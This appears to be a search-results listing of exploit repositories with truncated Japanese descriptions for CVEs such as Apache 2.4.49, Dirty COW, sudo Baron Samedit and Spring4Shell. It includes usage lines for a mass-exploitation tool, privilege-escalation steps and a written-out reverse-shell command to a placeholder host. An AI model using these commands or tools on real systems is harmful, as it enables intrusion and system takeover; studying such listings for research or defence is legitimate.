228889 matches found
CVE-2021-41773
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Fixed Version 説明 これは、CVE-2021-41773 として識別された Apache HTTP Server 2.4.49 の脆弱性に対するエクスプロイトです。Exploit-DB に公開された元のエクスプロイトには構文や実行の誤りがあったため、このバージョンでは Linux 環境で正しく動作するように修正されています。 修正点 if 構造の誤った構文を修正。 for ループが正しく実行されるよう修正。...
teamcity-exploit-cve-2023-42793
TeamCity エクスプロイト Cve 2023 42793 cve-2023-42793 の脆弱性を悪用するための簡単なスクリプトです。このエクスプロイトに関する追加の参考資料はこちら: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 https://www.cnblogs.com/LittleHann/p/17843271.html このスクリプトは、RCE 脆弱性をトリガーした後に "params"...
PrintNightmare
PrintNightmare パッチ適用後のマシンがまだ脆弱かどうかを確認する 悪意のない「無力化（defanged）」版エクスプロイトを実装する方法についてのガイダンス。 PrintNightmare エクスプロイトのキャプチャされたネットワークトラフィックを解析する調査記事 PrintNightmare からの悪意のあるトラフィックを含む PCAP の解析。...
CVE-2024-4358_Mass_Exploit
CVE-2024-4358MassExploit @sinsinology のツールを改変して、マスエクスプロイトを実行できるようにしたものです。 必要条件 Python 3.x インストール root@kitploit: git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt 実行方法 root@kitploit: usage: python CVE-2024-4358.py...
CVE-2012-2982-Webmin-Exploit
Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...
CVE-2022-22947-goby
CVE-2022-22947-goby 日常的に、気軽に書いたgobypocを更新しています。高リスクのEXPを含みます goby CVE202222947.json...
CVE-2018-15982
CVE-2018-15982 Flash 2018-15982 UAF p0c.swf エクスプロイトファイル アラビア語の解説: http://xredteam.com/?p=253 https://twitter.com/syfi2k https://www.youtube.com/watch?v=UBc9R4QqJyc&feature=youtu.be...
CVE-2017-8570
CVE-2017-8570Exp.py 参考:https://github.com/rxwx/CVE-2017-8570 変更点: 使用方法: root@kitploit: python2 CVE-2017-8570Exp.py -s write.sct -e write.exe -o write.rtf + RTF file written to: write.rtf...
dirtcow
dirtcow Dirty Cow Linuxのローカル権限昇格脆弱性の再現CVE-2016-5195 0、 コマンド uname -a を使用してLinuxカーネル情報を確認する 1、 ローカル/サーバーにEXPをダウンロードする 2、 gcc -pthread dirty.c -o dirty -lcrypt コマンドを使用して dirty.c をコンパイルし、dirty 実行ファイルを生成する 3、 ./dirty pass を実行すると権限昇格が行われます。passは設定したパスワードです。 参考リンク：https://www.jianshu.com/p/df72d1ee1e3e...
AndroidKernelVulnerability
Android Kernel Vulnerability 概要 2017年11月、syzkallerシステムによってLinuxカーネルにおけるuse-after-freeバグが検出されました。2018年2月には一部のLinuxカーネルとAndroidバージョンで修正が施されました。 この修正はAndroid月次セキュリティアップデートに含まれることはなかったため、PixelやPixel2など多くの新発売デバイスではパッチが適用されていませんでした。 2019年9月、Project...
sudo-CVE-2017-1000367
sudo-CVE-2017-1000367 http://www.openwall.com/lists/oss-security/2017/05/30/16 コンパイル: gcc -o sudopwn sudopwn.c -lutil 免責事項: 何をしているのか全く分かっていませんでした ;- 必要条件 システムはselinuxが有効である必要があります sudoはselinuxサポート付きでビルドされている必要があります sudo -r ユーザーにはsudo権限が必要です 例: "toor ALL=ALL NOPASSWD: /usr/bin/sum"...
gadgetinspector
Gadget Inspector このプロジェクトは、Javaライブラリおよびクラスパス内のガジェットチェーンを検査します。ガジェットチェーンは、デシリアライゼーション脆弱性のエクスプロイトを構築するために使用されます。アプリケーションのクラスパス内で可能なガジェットチェーンを自動的に発見することで、ペネトレーションテスターは迅速にエクスプロイトを構築でき、アプリケーションセキュリティエンジニアはデシリアライゼーション脆弱性の影響を評価し、その修正の優先順位を決定できます。 このプロジェクトはBlack Hat USA 2018で発表されました。詳細はそちらをご覧ください！（リンクは未定...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd リバースシェルは以下の通り： リバースシェルスクリプトを書き込む python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" シェルスクリプトに実行権限を付与 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" シェルを実行 python3...
CVE-2009-0473-check
説明 Rockwell ControlLogix 1756-ENBT/A のオープンリダイレクト脆弱性を悪用するシンプルなスクリプト。 脆弱性の詳細 https://www.cvedetails.com/cve/CVE-2009-0473/ 要件 Python 2.7 このスクリプトを実行する前に、X Windows 環境が実行されている必要があります。 Python の “webbrowser” ライブラリを使用して、デフォルトのブラウザでサイトを開きます。...
Apache_Penetration_Tool
ApachePenetrationTool QT C++を使用して開発された脆弱性悪用ツール。 日本語の説明 English description ツールインターフェース 脆弱性選択番号のところで、検出したい脆弱性を選択します。 脆弱性検出 最初のテキスト欄に対象のURLまたはIP（httpまたはhttpsを含む）を入力します。結果は最後の大きなテキストボックスに表示されます。 ディレクトリトラバーサル 2番目のテキスト欄に読み取りたいファイルの絶対パスを入力します。結果は最後の大きなテキストボックスに表示されます。 コマンド実行...
CVE-2022-22947_Rce_Exp
CVE-2022-22947RceExp Spring Cloud Gateway リモートコード実行脆弱性 Exp SpringCloudGatewayRCEExp-CVE-2022-22947...
CVE-2022-22965-Spring-Core-Rce
Spring-Core JDK9+ RCE 使い方 root@kitploit: ╰─ ./CVE-2022-22965 -h ─╯ 単一検出：./CVE-2022-22965 -u http://127.0.0.1:8080 一括検出：./CVE-2022-22965 -l url.txt 脆弱性のローカルテスト 0x01 Dockerイメージ root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -itd -p 8080:8080 -P...
CVE-2021-3156
CVE-2021-3156 PoC はじめに これは、QualysによってBaron Sameditと呼ばれるCVE-2021-3156 sudo脆弱性のエクスプロイトです。 使い方 ビルド: root@kitploit: $ make ターゲット一覧: root@kitploit: $ ./sudo-hax-me-a-sandwich 実行: root@kitploit: $ ./sudo-hax-me-a-sandwich 手動モード: root@kitploit: $ ./sudo-hax-me-a-sandwich ブルートフォースターゲット検索（実験的） GNU paralle...